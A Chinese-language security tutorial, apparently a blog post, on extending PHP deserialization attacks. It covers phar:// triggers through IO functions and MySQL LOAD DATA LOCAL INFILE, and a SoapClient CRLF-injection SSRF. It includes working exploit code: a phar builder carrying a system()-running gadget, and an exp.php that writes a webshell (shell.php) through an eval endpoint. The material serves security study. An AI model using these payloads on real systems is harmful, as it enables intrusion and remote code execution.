反序列化攻击面拓展提高篇

phar提高篇

之前我写过一篇关于phar拓宽反序列化攻击面的文章,根据seebug的研究员的总结,大概有这些函数可以触发反序列化漏洞enter description here但是根据De1ta-zsx的研究,发现并不局限于文件函数,这是一个所有的和IO有关的函数都有可能触发的问题。

更多的可触发漏洞的函数

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers

standard

  • getimagesize
  • getimagesizefromstring

zip

1
2
3
4
<?php
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

如果phar://不能出现在头几个字符,可以在最前面加compress.bzip2://orcompress.zlib://enter description hereenter description hereenter description here

mysql文件操作触发

mysqlload data infile语句从一个文本文件中以很高的速度读入一个表中,它同样可以触发反序列化漏洞,比如下面的代码

1
2
3
4
5
6
7
8
9
10
11
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'mesboard', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/aaa\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

makphar.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class A{
public $s='ls';
}

@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('a','a');
$phar->setStub('<?php __HALT_COMPILER();?>');
$o=new A();
$phar->setMetaData($o);
$phar->stopBuffering();
?>

还需要配置好mysql.cnf

1
2
local-infile=1
secure_file_priv=''

php5.6下:enter description herephp7.0:enter description here
只需要目标表是存在的就可以了,并没有其他要求,唯一可惜的就是不是默认配置

利用原生类Soap

利用php的原生类soap进行反序列化漏洞利用是前不久get到的一个新姿势。

什么是soap

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

php的soapClient类

php中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。用法是这样的enter description here第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求enter description here可以构造这个demo:
exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);


$c=unserialize(urldecode($aaa));
$c->ss();
?>

test.php:

1
2
3
4
5
6
7
8
<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);

}
?>

这是一个模拟的可以造成SSRF的demo(改编自wupco),执行一下,发现shell.php已经被成功写入内容。enter description hereenter description here说一下原理,这个exp里面有几个点值得关注。

  • 当反序列化之后执行一个SoapClient没有的函数时,会调用SoapClient__call函数,发出请求
  • SoapClient发出的请求包的user_agent是完全可控的,结合CRLF注入可以构造一个完全可控的POST请求,因为POST请求最关键的Content-LengthContent-Type都在user_agent之下
  • 只要目标进行了反序列化操作,这个exp可以进行SSRF

如果是GET请求,就简单得多,只需要构造好location就可以了。POST请求的效果:
enter description here

Referer

https://xz.aliyun.com/t/2148#toc-0
https://xz.aliyun.com/t/2960
https://www.anquanke.com/post/id/153065#h2-5